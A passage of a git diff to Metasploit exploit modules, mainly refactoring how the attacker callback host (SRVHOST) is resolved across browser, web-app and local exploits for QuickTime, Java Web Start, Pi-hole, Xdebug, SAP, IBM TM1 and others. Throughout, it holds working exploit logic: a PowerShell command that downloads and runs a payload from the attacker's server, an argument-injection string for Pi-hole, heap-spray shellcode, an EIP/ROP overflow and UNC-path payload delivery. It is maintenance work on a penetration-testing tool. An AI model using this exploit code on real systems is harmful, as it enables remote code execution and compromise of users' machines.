+
     # Rex::Socket does not support forwarding UDP multicast sockets right now so raise an exception if that's configured
-    unless _determine_server_comm(srvhost) == Rex::Socket::Comm::Local
+    unless _determine_server_comm(datastore['SRVHOST']) == Rex::Socket::Comm::Local
       raise Msf::OptionValidateError.new({ 'SRVHOST' => 'SRVHOST can not be forwarded via a session.' })
     end
   end
@@ -509,7 +514,7 @@ def on_dispatch_mdns_request(cli, data)
       type: 'A',
       ttl: 30,
       # The IP address of our malicious HTTP IPP service
-      address: srvhost
+      address: datastore['SRVHOST']
     ))
 
     # SRV record
diff --git a/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb b/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb
index 2dbd33e187ede..bb200c4d4448d 100644
--- a/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb
+++ b/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb
@@ -313,7 +313,7 @@ def update_auth(auth_method, restore: false)
       # To enable CAM server authentication over SSL, the CAM server certificate has to be previously
       # imported into the server. Since we can't do this, disable SSL in the fake CAM.
       srv_config = " IntegratedSecurityMode=#{auth_method}\n" \
-                   "ServerCAMURI=http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}\n" \
+                   "ServerCAMURI=http://#{srvhost}:#{srvport}\n" \
                    "ServerCAMURIRetryAttempts=10\nServerCAMIPVersion=ipv4\n" \
                    "CAMUseSSL=F\n"
     end
@@ -399,6 +399,11 @@ def restore_auth(app, auth_current)
   end
 
   def exploit
+    # first let's check if SRVHOST is valid
+    if datastore['SRVHOST'] == '0.0.0.0'
+      fail_with(Failure::Unknown, 'Please enter a valid IP address for SRVHOST')
+    end
+
     # The first step is to query the administrative server to see what apps are available.
     # This action can be done unauthenticated. We then list all the available app servers
     # and pick a random one that is currently accepting clients. This step is important
diff --git a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb
index 4aadf8432947d..08781cbbc85c2 100644
--- a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb
+++ b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb
@@ -216,10 +216,19 @@ def exploit_linux
     resource_uri = '/' + downfile
 
     if (datastore['DOWNHOST'])
-      service_url = "http://#{Rex::Socket.to_authority(datastore['DOWNHOST'], srvport)}#{resource_uri}"
+      service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
     else
-      service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}"
-      print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
+
+      # we use SRVHOST as download IP for the coming wget command.
+      # SRVHOST needs a real IP address of our download host
+      if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::')
+        srv_host = Rex::Socket.source_address(rhost)
+      else
+        srv_host = datastore['SRVHOST']
+      end
+
+      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
+      print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
       start_service({
         'Uri' => {
           'Proc' => proc do |cli, req|
diff --git a/modules/exploits/osx/browser/safari_file_policy.rb b/modules/exploits/osx/browser/safari_file_policy.rb
index 4f4a631d01da7..a17faebb2631c 100644
--- a/modules/exploits/osx/browser/safari_file_policy.rb
+++ b/modules/exploits/osx/browser/safari_file_policy.rb
@@ -82,13 +82,25 @@ def exploit
 
     # Start the FTP server
     start_service()
-    print_status("Local FTP: #{bindhost}:#{bindport}")
+    print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")
 
     # Create our own HTTP server
     # We will stay in this functino until we manually terminate execution
     start_http()
   end
 
+  #
+  # Lookup the right address for the client
+  #
+  def lookup_lhost(c = nil)
+    # Get the source address
+    if datastore['SRVHOST'] == '0.0.0.0'
+      Rex::Socket.source_address(c || '50.50.50.50')
+    else
+      datastore['SRVHOST']
+    end
+  end
+
   #
   # Override the client connection method and
   # initialize our payload
@@ -164,7 +176,7 @@ def start_http(opts = {})
 
     # Default the server host / port
     opts = {
-      'ServerHost' => srvhost,
+      'ServerHost' => datastore['SRVHOST'],
       'ServerPort' => datastore['HTTPPORT'],
       'Comm' => comm
     }.update(opts)
@@ -265,11 +277,11 @@ def on_request_uri(cli, request)
     <base href="file://">
     <script>
     function launch() {
-      document.location = "/Volumes/#{srvhost_addr}/#{@payload_name}";
+      document.location = "/Volumes/#{lookup_lhost}/#{@payload_name}";
     }
 
     function share() {
-      document.location = "ftp://anonymous:anonymous@#{srvhost_addr}/";
+      document.location = "ftp://anonymous:anonymous@#{lookup_lhost}/";
       setTimeout("launch()", 2000);
     }
 
diff --git a/modules/exploits/unix/http/pihole_blocklist_exec.rb b/modules/exploits/unix/http/pihole_blocklist_exec.rb
index 763983d634212..8be76587a35ba 100644
--- a/modules/exploits/unix/http/pihole_blocklist_exec.rb
+++ b/modules/exploits/unix/http/pihole_blocklist_exec.rb
@@ -119,7 +119,7 @@ def add_blocklist(file, token)
     # also, looks like if you have a path (/file.php), it won't trigger either, or the / gets
     # messed with.
     data = {
-      'newuserlists' => %(http://#{srvhost_addr}#" -o #{file} -d "),
+      'newuserlists' => %(http://#{datastore['SRVHOST']}#" -o #{file} -d "),
       'field' => 'adlists',
       'token' => token,
       'submit' => 'saveupdate'
@@ -153,6 +153,10 @@ def exploit
       fail_with(Failure::BadConfig, 'SRVPORT must be set to 80 for exploitation to be successful')
     end
 
+    if datastore['SRVHOST'] == '0.0.0.0'
+      fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
+    end
+
     start_service({
       'Uri' => {
         'Proc' => proc do |cli, req|
diff --git a/modules/exploits/unix/http/xdebug_unauth_exec.rb b/modules/exploits/unix/http/xdebug_unauth_exec.rb
index 03dfba605acd8..4a47d76d97ffa 100644
--- a/modules/exploits/unix/http/xdebug_unauth_exec.rb
+++ b/modules/exploits/unix/http/xdebug_unauth_exec.rb
@@ -52,7 +52,7 @@ def initialize(info = {})
 
     register_options([
       OptString.new('PATH', [ true, "Path to target webapp", "/index.php"]),
-      OptAddressLocal.new('SRVHOST', [ true, "Callback host for accepting connections", "0.0.0.0"]),
+      OptAddress.new('SRVHOST', [ true, "Callback host for accepting connections", "0.0.0.0"]),
       OptInt.new('SRVPORT', [true, "Port to listen for the debugger", 9000]),
       Opt::RPORT(80),
     ])
@@ -86,7 +86,7 @@ def exploit
       begin
         server = Rex::Socket::TcpServer.create(
           'LocalPort' => datastore['SRVPORT'],
-          'LocalHost' => srvhost,
+          'LocalHost' => datastore['SRVHOST'],
           'Context' => {
             'Msf' => framework,
             'MsfExploit' => self
diff --git a/modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb b/modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb
index 47518a5804c79..75e14400c20b0 100644
--- a/modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb
+++ b/modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb
@@ -68,6 +68,10 @@ def initialize(info = {})
     options.remove_option('AutoCheck')
   end
 
+  def srvhost_addr
+    Rex::Socket.source_address(session.session_host)
+  end
+
   def rcpt_to
     "#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]"
   end
diff --git a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb
index 9dcda50007cb5..5dd0a964d0bbb 100644
--- a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb
+++ b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb
@@ -115,7 +115,7 @@ def exploit
       return
     end
 
-    print_status("Starting up our web service on http://#{bindhost}:#{bindport}#{resource_uri}...")
+    print_status("Starting up our web service on http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}...")
     start_service
 
     print_status("Requesting a search using our custom XSLT...")
@@ -127,7 +127,7 @@ def exploit
         'site' => m[1],
         'output' => 'xml_no_dtd',
         'q' => rand_text_alpha(rand(15) + 1),
-        'proxystylesheet' => "http://#{srvhost_addr}:#{srvport}#{resource_uri}/style.xml",
+        'proxystylesheet' => "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}/style.xml",
         'proxyreload' => '1'
       }
     }, 25)
diff --git a/modules/exploits/windows/antivirus/ams_xfr.rb b/modules/exploits/windows/antivirus/ams_xfr.rb
index 8a228c826e27b..11bf5d64054b5 100644
--- a/modules/exploits/windows/antivirus/ams_xfr.rb
+++ b/modules/exploits/windows/antivirus/ams_xfr.rb
@@ -60,7 +60,8 @@ def initialize(info = {})
 
   def windows_stager
     print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
-    execute_cmdstager({ temp: '.', tftphost: srvhost_addr })
+    tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
+    execute_cmdstager({ temp: '.', tftphost: tftphost })
     @payload_exe = generate_payload_exe
 
     print_status("Attempting to execute the payload...")
diff --git a/modules/exploits/windows/browser/adobe_flash_sps.rb b/modules/exploits/windows/browser/adobe_flash_sps.rb
index cc0cf84919b19..ef16ded1d9c75 100644
--- a/modules/exploits/windows/browser/adobe_flash_sps.rb
+++ b/modules/exploits/windows/browser/adobe_flash_sps.rb
@@ -148,7 +148,8 @@ def on_request_uri(cli, request)
       js.obfuscate(memory_sensitive: true)
     end
 
-    mp4_uri = "http://#{srvhost_addr}:#{srvport}#{get_resource()}/#{rand_text_alpha(rand(6) + 3)}.mp4"
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
+    mp4_uri = "http://#{myhost}:#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6) + 3)}.mp4"
     swf_uri = Rex::Text.rand_text_alphanumeric(rand(8) + 4) + ".swf" + "?autostart=true&image=video.jpg&file=#{mp4_uri}"
 
     html = %Q|
diff --git a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb
index ca73f8637adcd..1c54b0a604d2d 100644
--- a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb
+++ b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb
@@ -117,7 +117,9 @@ def on_request_uri(cli, request)
       shellcode << (xor_byte ^ c)
     end
 
-    uri = "#{get_uri(cli)}/#{code}"
+    uri = ((datastore['SSL']) ? "https://" : "http://")
+    uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
+    uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{code}"
 
     bd_uri = Zlib::Deflate.deflate(uri)
 
diff --git a/modules/exploits/windows/browser/aol_icq_downloadagent.rb b/modules/exploits/windows/browser/aol_icq_downloadagent.rb
index 7b79daf6bea61..b6af1536336e4 100644
--- a/modules/exploits/windows/browser/aol_icq_downloadagent.rb
+++ b/modules/exploits/windows/browser/aol_icq_downloadagent.rb
@@ -60,7 +60,9 @@ def check_dependencies
   end
 
   def on_request_uri(cli, request)
-    payload_url = "#{get_uri(cli)}/PAYLOAD"
+    payload_url = "http://"
+    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/PAYLOAD"
 
     if (request.uri.match(/PAYLOAD/))
       return if ((p = regenerate_payload(cli)) == nil)
diff --git a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb
index 08e404df5ce96..2357cd46ea0b7 100644
--- a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb
+++ b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb
@@ -147,7 +147,10 @@ def on_request_uri(client, request)
       send_response(client, smil, { 'Content-Type' => "#{type}/#{subtype}" })
     else
       print_status("Sending initial HTML")
-      url = get_uri(client)
+      url = ((datastore['SSL']) ? "https://" : "http://")
+      url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
+      url << ":" + datastore['SRVPORT'].to_s
+      url << get_resource
       fname = rand_text_alphanumeric(4)
 
       code = generate_rop_payload('msvcrt', payload.encoded, { 'target' => 'xp' })
diff --git a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb
index 2e839f200afe3..8f92f6902f9dd 100644
--- a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb
+++ b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb
@@ -97,7 +97,10 @@ def on_request_uri(client, request)
       print_status("Sending init HTML")
 
       shellcode = Rex::Text.to_unescape(p.encoded)
-      url = get_uri(client)
+      url = ((datastore['SSL']) ? "https://" : "http://")
+      url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
+      url << ":" + datastore['SRVPORT'].to_s
+      url << get_resource
       js = <<-ENDJS
           #{js_heap_spray}
           sprayHeap(unescape("#{shellcode}"), 0x#{target.ret.to_s 16}, 0x4000);
diff --git a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb
index 2a7e0af4c4302..373a6f64aeefd 100644
--- a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb
+++ b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb
@@ -116,7 +116,10 @@ def on_request_uri(client, request)
       print_status("Sending initial HTML")
 
       shellcode = Rex::Text.to_unescape(p.encoded)
-      url = get_uri(client)
+      url = ((datastore['SSL']) ? "https://" : "http://")
+      url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
+      url << ":" + datastore['SRVPORT'].to_s
+      url << get_resource
 
       fname = rand_text_alphanumeric(4)
 
diff --git a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb
index 5dbc2f8e44b5e..e9d585cc5937a 100644
--- a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb
+++ b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb
@@ -181,7 +181,10 @@ def on_request_uri(client, request)
     else
       print_status("Sending initial HTML")
 
-      url = get_uri(client)
+      url = ((datastore['SSL']) ? "https://" : "http://")
+      url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
+      url << ":" + datastore['SRVPORT'].to_s
+      url << get_resource
 
       fname = rand_text_alphanumeric(4)
 
diff --git a/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb b/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb
index 385b8fe5eb393..714bca027a8b5 100644
--- a/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb
+++ b/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb
@@ -52,7 +52,9 @@ def initialize(info = {})
   end
 
   def on_request_uri(cli, request)
-    payload_url = "#{get_uri(cli)}/payload"
+    payload_url = "http://"
+    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
 
     if (request.uri.match(/payload/))
       return if ((p = regenerate_payload(cli)) == nil)
diff --git a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb
index b1ff7392e0442..be813e068b72c 100644
--- a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb
+++ b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb
@@ -92,8 +92,9 @@ def on_request_uri(cli, request)
       return
     end
 
-    url = get_uri(cli)
-    url += '/' unless url.end_with?('/')
+    url = "http://"
+    url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/"
 
     # VBScript variables
     clsid = "79956462-F148-497F-B247-DF35A095F80B"
diff --git a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb
index 3bd7c27e17e25..0cbae5201a736 100644
--- a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb
+++ b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb
@@ -71,7 +71,9 @@ def on_request_uri(cli, request)
       return
     end
 
-    payload_url = "#{get_uri(cli)}/#{@payload_rand}"
+    payload_url = "http://"
+    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/#{@payload_rand}"
 
     if (request.uri.match(/#{@payload_rand}/))
       return if ((p = regenerate_payload(cli)) == nil)
diff --git a/modules/exploits/windows/browser/cisco_webex_ext.rb b/modules/exploits/windows/browser/cisco_webex_ext.rb
index 7c48484b09926..be33a60df9c0f 100644
--- a/modules/exploits/windows/browser/cisco_webex_ext.rb
+++ b/modules/exploits/windows/browser/cisco_webex_ext.rb
@@ -76,7 +76,7 @@ def exploit_html(cli, req_uri)
     GpcSuppressInstallation: btoa("True"),
     GpcFullPage: "True",
     GpcInitCall: btoa("_wsystem(Ex1);"),
-    Ex1: btoa("PowerShell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ; $wc = New-Object System.Net.WebClient ; $pl = $env:temp+'\\#{@payload_exe}' ; $wc.DownloadFile('https://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{base_uri}/#{@payload_uri}', $pl) ; Start-Process $pl"),
+    Ex1: btoa("PowerShell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ; $wc = New-Object System.Net.WebClient ; $pl = $env:temp+'\\#{@payload_exe}' ; $wc.DownloadFile('https://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{base_uri}/#{@payload_uri}', $pl) ; Start-Process $pl"),
 }
 
 function runcode()
diff --git a/modules/exploits/windows/browser/dxstudio_player_exec.rb b/modules/exploits/windows/browser/dxstudio_player_exec.rb
index d708dbd7ed7ba..834ff3a791c83 100644
--- a/modules/exploits/windows/browser/dxstudio_player_exec.rb
+++ b/modules/exploits/windows/browser/dxstudio_player_exec.rb
@@ -61,7 +61,10 @@ def initialize(info = {})
   end
 
   def on_request_uri(cli, request)
-    url_base = get_uri(cli)
+    url_base = "http://"
+    url_base += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    url_base += ":" + datastore['SRVPORT'].to_s + get_resource()
+
     payload_url = url_base + "/payload"
 
     # handle request for the payload
diff --git a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb
index da7800772d3f5..f6569c9eff8a5 100644
--- a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb
+++ b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb
@@ -62,7 +62,9 @@ def check_dependencies
   end
 
   def on_request_uri(cli, request)
-    payload_url = "#{get_uri(cli)}/payload"
+    payload_url = "http://"
+    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
 
     if (request.uri.match(/payload/))
       return if ((p = regenerate_payload(cli)) == nil)
diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb
index 2c9edaf2d6e52..174a4b812e6e7 100644
--- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb
+++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb
@@ -170,13 +170,14 @@ def on_request_uri(cli, request)
       resp = create_response(301, "Moved Permanently")
       resp.body = ""
 
+      my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
       if datastore['SSL']
         schema = "https"
       else
         schema = "http"
       end
 
-      sploit = rand_text_alpha(my_target['Offset'] - "#{schema}://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{request.uri}.pdf?".length)
+      sploit = rand_text_alpha(my_target['Offset'] - "#{schema}://#{my_host}:#{datastore['SRVPORT']}#{request.uri}.pdf?".length)
       sploit << [my_target.ret].pack("V") # EIP
       sploit << [my_target['WritableAddress']].pack("V") # Writable Address
       sploit << self.send(my_target[:rop])
diff --git a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb
index f3922462b5f4c..13330879daada 100644
--- a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb
+++ b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb
@@ -184,7 +184,9 @@ def on_request_uri(cli, request)
       return
     end
 
-    uri = get_uri(cli)
+    uri = ((datastore['SSL']) ? "https://" : "http://")
+    uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'])
+    uri << ":#{datastore['SRVPORT']}"
 
     print_status("Request received for #{request.uri}");
 
diff --git a/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb
index a8015190b46f4..dc250b28d9e6f 100644
--- a/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb
+++ b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb
@@ -179,12 +179,14 @@ def process_get(cli, request, target, share_name)
       #
       # HTML requests sent by IE and Firefox
       #
+      # This could probably use the Host header from the request
+      my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
 
       # Always prepare the UNC path, even if we dont use it for this request...
       if (datastore['UNCPATH'])
         unc = datastore['UNCPATH'].dup
       else
-        unc = "\\\\" + srvhost_addr + "\\" + share_name
+        unc = "\\\\" + my_host + "\\" + share_name
       end
       jnlp = "-J-XXaltjvm=" + unc + " -Xnosplash " + rand_text_alphanumeric(8 + rand(8)) + ".jnlp"
       docbase = rand_text_alphanumeric(8 + rand(8))
diff --git a/modules/exploits/windows/browser/java_ws_double_quote.rb b/modules/exploits/windows/browser/java_ws_double_quote.rb
index 548de996f046c..e3f8f7036eb60 100644
--- a/modules/exploits/windows/browser/java_ws_double_quote.rb
+++ b/modules/exploits/windows/browser/java_ws_double_quote.rb
@@ -175,7 +175,8 @@ def process_get(cli, request, _target, share_name)
       if (datastore['UNCPATH'])
         unc = datastore['UNCPATH'].dup
       else
-        unc = "\\\\" + srvhost_addr + "\\" + share_name
+        my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+        unc = '\\\\' + my_host + '\\' + share_name
       end
 
       # NOTE: we ensure there's only a single backslash here since it will get escaped
diff --git a/modules/exploits/windows/browser/java_ws_vmargs.rb b/modules/exploits/windows/browser/java_ws_vmargs.rb
index c62bbf54b0af9..3b1dbe8765aa6 100644
--- a/modules/exploits/windows/browser/java_ws_vmargs.rb
+++ b/modules/exploits/windows/browser/java_ws_vmargs.rb
@@ -181,7 +181,9 @@ def process_get(cli, request, target, share_name)
       if (datastore['UNCPATH'])
         unc = datastore['UNCPATH'].dup
       else
-        unc = "\\\\" + srvhost_addr + "\\" + share_name
+        # This could probably use the Host header from the request
+        my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+        unc = "\\\\" + my_host + "\\" + share_name
       end
 
       # NOTE: we ensure there's only a single backslash here since it will get escaped
diff --git a/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb b/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb
index dd521a050f5fc..27860192a2519 100644
--- a/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb
+++ b/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb
@@ -176,7 +176,7 @@ def process_get(cli, request, target)
       #
       # HTML requests sent by IE and Firefox
       #
-      my_host = srvhost_addr
+      my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
       path = request.uri.gsub(/\//, '\\\\\\')
       payload_unc = '\\\\\\\\' + my_host + path + @var_exe_name + '.chm'
       mof_unc = '\\\\\\\\' + my_host + path + @var_mof_name + '.chm'
diff --git a/modules/exploits/windows/browser/macrovision_unsafe.rb b/modules/exploits/windows/browser/macrovision_unsafe.rb
index dd136199669e0..1307fdacf435c 100644
--- a/modules/exploits/windows/browser/macrovision_unsafe.rb
+++ b/modules/exploits/windows/browser/macrovision_unsafe.rb
@@ -52,7 +52,9 @@ def check_dependencies
   end
 
   def on_request_uri(cli, request)
-    payload_url = "#{get_uri(cli)}/payload"
+    payload_url = "http://"
+    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
 
     if (request.uri.match(/payload/))
       return if ((p = regenerate_payload(cli)) == nil)
diff --git a/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb b/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb
index 52aadece9f8a5..c1765a722a93f 100644
--- a/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb
+++ b/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb
@@ -342,7 +342,7 @@ def generate_mozilla_html
     end
 
     return '<img src="moz-icon:file://///' +
-           srvhost_addr +
+           datastore['SRVHOST'] +
            path + '/' + rand_text_alphanumeric(rand(80) + 16) + '.ani">'
   end
 
diff --git a/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb b/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb
index 992f15b3ca799..85a122532318f 100644
--- a/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb
+++ b/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb
@@ -60,7 +60,9 @@ def check_dependencies
   end
 
   def on_request_uri(cli, request)
-    payload_url = "#{get_uri(cli)}/payload"
+    payload_url = "http://"
+    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
 
     if (request.uri.match(/payload/))
       return if ((p = regenerate_payload(cli)) == nil)
diff --git a/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb b/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb
index 14bf57b838241..75298a0af1aa6 100644
--- a/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb
+++ b/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb
@@ -174,10 +174,11 @@ def process_get(cli, request, target)
       #
       # HTML requests sent by IE and Firefox
       #
+      my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
       name = rand_text_alphanumeric(rand(8) + 8)
       # path = get_resource.gsub(/\//, '\\')
       path = request.uri.gsub(/\//, '\\')
-      unc = '\\\\' + srvhost_addr + path + name + '.hlp'
+      unc = '\\\\' + my_host + path + name + '.hlp'
       print_status("Using #{unc} ...")
       html = %Q|<html>
 <script type="text/vbscript">
diff --git a/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb b/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb
index 7a57f8c405274..88ab0471ad33f 100644
--- a/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb
+++ b/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb
@@ -103,7 +103,7 @@ def on_request_uri(cli, request)
   end
 
   def process_get(cli, request)
-    @my_host = srvhost_addr
+    @my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
     webdav_loc = "\\\\#{@my_host}\\#{@random_dir}\\#{@payload}"
     @url_base = "http://" + @my_host
 
diff --git a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb
index 7c835fe18fb00..5016725fa4203 100644
--- a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb
+++ b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb
@@ -83,6 +83,9 @@ def on_request_uri(cli, request)
   end
 
   def process_get(cli, request)
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    webdav = "\\\\#{myhost}\\"
+
     if (request.uri =~ /\.dll$/i)
       print_status "Sending DLL payload"
       return if ((p = regenerate_payload(cli)) == nil)
@@ -134,6 +137,10 @@ def process_options(cli, request)
   def process_propfind(cli, request)
     path = request.uri
     print_status("Received WebDAV PROPFIND request for #{path}")
+    body = ''
+
+    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    my_uri = "http://#{my_host}/"
 
